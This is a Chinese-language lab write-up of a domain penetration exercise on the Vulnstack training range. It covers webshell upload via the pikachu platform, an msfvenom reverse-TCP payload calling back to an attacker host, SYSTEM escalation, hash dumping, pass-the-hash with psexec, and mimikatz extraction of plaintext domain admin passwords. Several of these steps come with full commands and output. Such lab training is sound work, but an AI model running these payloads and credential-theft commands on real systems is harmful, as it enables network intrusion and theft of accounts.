Vulnstack域渗透
Vulnstack域渗透
1.要求
任务1:域环境服务器的搭建
要求:1台域控,2台域成员主机(其中1台为Web 服务器,双网卡,仅主机模式和NAT模式;且在Web 服务器上部署任一Web漏洞平台。
任务2:域环境信息收集
利用常用命令,对当前域环境进行信息收集。
2.过程
VulnStack 是红日安全团队打造的内网渗透开源靶场平台
下载 Vulnstack 域靶场(域控已部署好,但需修改网络模式)
直接使用现成的 Vulnstack 靶场镜像,无需手动搭建域控,仅调整网络配置即可
密码:hongrisec@2019
给win7部署pikacu平台
域环境
1 | win2k3域内主机: |
将三台改为仅主机模式

将win7新增一块网络适配器,改为NAT模式,让其能连通网络

现在的nat网卡上的ip是随机分配的,为了让它ip不变,可以直接配置静态ip

仍然可以ping通

phpstudy搭建pikachu
我的是可以直接用的,就没有停用修复的过程
接着就是下载pikachu靶场,放到www目录

pikachu搭建成功!

发现数据库连接失败,修改一下配置文件里mysql的密码就可以了!

域环境认识
AD 域:就是通过 Active Directory 服务,把多台主机(Win2008、Win2k3、Win7)纳入同一个域管理体系,由域控制器统一管控账号、权限、策略,这是域环境的核心。
win2008是域控,AD域的根域名god.org

添加为域成员
Win2k3(192.168.52.141)和Win7(192.168.52.143)加入god.org域
其实这里已经是改好的了
Win7

dev是你域里创建的一个组织单元
dev1、stu1:属于这个 OU 下的域成员计算机
李刚:属于这个 OU 下的域用户账号

添加域用户
添加域用户

更改域用户配置,可以登录到所有的域内计算机

登陆到所有计算机
账号: GOD\web
密码 :………

域内计算机都可以登录
管理域用户
管理用户登录时间

限制登录主机

域渗透初步

域渗透信息收集阶段
通过pikachu漏洞平台上传一句话木马
嗯嗯呢那我就选一个最简单的关卡!!

成功上传

连接yijian

查看本机ip,所在域
1 | ipconfig /all |
1 | 本地连接 5 |
这台stu1是god.org域的成员机,且域控在192.168.52.138



打印路由信息
1 | route print |

查域控上的所有域用户
net user /domain → 查域控上的所有域用户
net user → 查当前主机(stu1)的本地用户
liukaifeng01 同时存在于域用户和本地用户中
1 | net user /domain |

域内渗透后渗透
msf提权
生成payload
这个命令会创建一个名为 hack2.exe 的 Windows 程序。当这个程序在任何一台 Windows 电脑上被运行时,它会在后台悄悄地尝试连接回 IP 地址为 192.168.225.128 的机器的 6666 端口。
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.225.128 LPORT=6666 -f exe -o hack2.exe |
蚁剑上传hack2.exe


msf监听并提权
windows/meterpreter/reverse_tcp是一个高级后门
1 | #启动MetaSploit |
运行之后在kali这边监听6666端口,同时在yijian上执行hack2.exe,连接回 IP 地址为 192.168.225.128 的机器的 6666 端口。

查看当前权限,现在是域管理员权限
1 | getuid |

getsystem这是 Meterpreter 中最强大的命令之一,它会自动尝试多种技术来将当前用户权限提升到本地系统权限
这证明你的权限已经成功提升到了SYSTEM
1 | getsystem |

为什么已经是域管理员了,还要提权到 SYSTEM?
GOD\Administrator(域管理员)- 范围: 权限范围是整个域。
- 能力: 可以管理域内的所有计算机、用户、组策略等。
- 性质: 这是一个用户账户。
NT AUTHORITY\SYSTEM(本地系统)- 范围: 权限范围仅限于当前这一台计算机。
- 能力: 拥有这台计算机上的所有权限。可以读取所有文件、注册表,控制所有进程和服务,绕过大部分本地安全限制。它是 Windows 操作系统中权限最高的账户。
- 性质: 这不是一个真正的用户账户,而是一个安全主体,代表操作系统本身。
提权到SYSTEM有啥用?
- 绕过安全软件: 一些杀毒软件或安全防护程序以
SYSTEM权限运行,它们可能会阻止来自管理员账户的某些操作,但不会阻止来自SYSTEM自身的操作。 - 访问受保护的资源: 有些系统文件、目录或注册表项被配置为只允许
SYSTEM账户访问,即使是管理员也无权直接读取或修改。 - 操作核心系统服务: 你可以更稳定、更彻底地操作或注入到以
SYSTEM权限运行的核心系统服务中。 hashdump的需要: 在 Meterpreter 中,hashdump命令(用于导出本地用户的密码哈希)通常需要SYSTEM权限才能成功执行。
–扩展-Hash传递攻击
我们用msf自带的模块进行hash抓取
智能地从目标系统中导出所有可用的密码哈希值
这里就体现了为啥要提权到SYSTEM
如果是 NT AUTHORITY\SYSTEM 权限(最高权限)
- 它会尝试直接从内存中读取 LSASS (Local Security Authority Subsystem Service) 进程的数据。LSASS 是 Windows 系统中负责处理安全策略和用户认证的核心进程,所有登录用户的密码哈希(包括 NTLM 和 LM)都存储在这里。
- 这种方法非常高效且无需将任何文件写入磁盘,因此很难被杀毒软件检测到。

1 | /root/.msf4/loot/20251229222453_default_192.168.225.35_windows.hashes_325574.txt |
模块已经自动把哈希值保存到了 Kali 攻击机的这个文件里,格式是 John the Ripper(密码破解工具) 能直接识别的格式,后续可以直接用这个文件进行密码破解。
提取方式
1 | Running as SYSTEM extracting hashes from registry |
核心哈希数据
| 用户名 | RID | LM 哈希 | NTLM 哈希 | 说明 |
|---|---|---|---|---|
Administrator |
500 |
aad3b435b51404eeaad3b435b51404ee |
31d6cfe0d16ae931b73c59d7e0c089c0 |
本地管理员账户 |
liukaifeng01 |
1000 |
aad3b435b51404eeaad3b435b51404ee |
31d6cfe0d16ae931b73c59d7e0c089c0 |
普通本地用户 |
NTLM哈希是真正有用的核心数据两个用户的 NTLM 哈希相同,大概率是设置了相同的密码。
把保存哈希的 txt 文件丢给 John the Ripper 或 Hashcat,用密码字典跑爆破,尝试还原明文密码:
1 | # John the Ripper 破解 |
Hash传递攻击
一句话概括:它允许你在不知道用户明文密码的情况下,直接使用用户的密码哈希值来登录到另一台机器,从而获得一个远程控制会话
这彻底颠覆了 “必须知道密码才能登录” 的传统观念,是域渗透中横向移动的核心技术。
use exploit/windows/smb/psexec选择一个名为 psexec 的攻击模块。
1 | msfconsole |
mimitakz获取明文密码
下载这个工具 github mimitakz
蚁剑上传这个工具,到Web服务器。
这个工具,必须管理员权限
- Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码,lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用 可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也 就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!
我们再上传并使用mimitakz(实战中需要免杀处理)进行抓取
1 | shell |

上传yijian,解压
1 | echo Set sh=CreateObject("Shell.Application") > unzip_trunk.vbs & echo Set zip=sh.NameSpace("C:\phpStudy\WWW\mimikatz_trunk.zip") >> unzip_trunk.vbs & echo Set dst=sh.NameSpace("C:\phpStudy\WWW") >> unzip_trunk.vbs & echo dst.CopyHere zip.Items,16 >> unzip_trunk.vbs |

先进行权限提升
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit |

域管理员
User Name : Administrator: 用户名是 Administrator
Domain : GOD: 所在域是 GOD
Password : 20060115Zy@%: 明文密码
在Web服务器上,以administrator管理员的账户登陆。只能抓取到-管理员administrator的密码。
抓取域成员账户和域控管理员的账户和密码。 在Web服务器上,使用GOD\administrator账户登陆后,查看计算机属性–更改计算机设置后,即可弹出 域控的账户 和密码输入,即使用域控管理员的账户和密码也登陆一次,再抓取
手动触发域账户登录
1 | 先在 Web 服务器上,用普通域成员账户登录一次系统(比如远程桌面、本地登录)。 |
抓取凭据
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit |
抓取结果中,域控管理员账户的 SID 结尾通常是 500(域管理员默认 RID),域名称是你的域
接下来我们进一步渗透入内网,对域中的其他主机进行渗透。
后信息收集
一次性查询并输出当前计算机的所有关键系统信息
1 | systeminfo |


Windows的各类用户角色
1 | 1.1 本地账户 |
3.实验小结
本次实验以 Web 服务器为突破口,通过上传并运行
mimikatz工具,借助privilege::debug获取调试权限,再利用核心命令sekurlsa::logonpasswords读取lsass.exe进程内存,成功提取到域管理员Administrator的明文密码、NTLM 哈希及机器账户STU1$的相关凭据;实验验证了 Windows 系统中登录凭据会暂存于内存的特性,也明确了让高权限账户在目标机器产生登录行为是抓取有效凭据的关键前提。





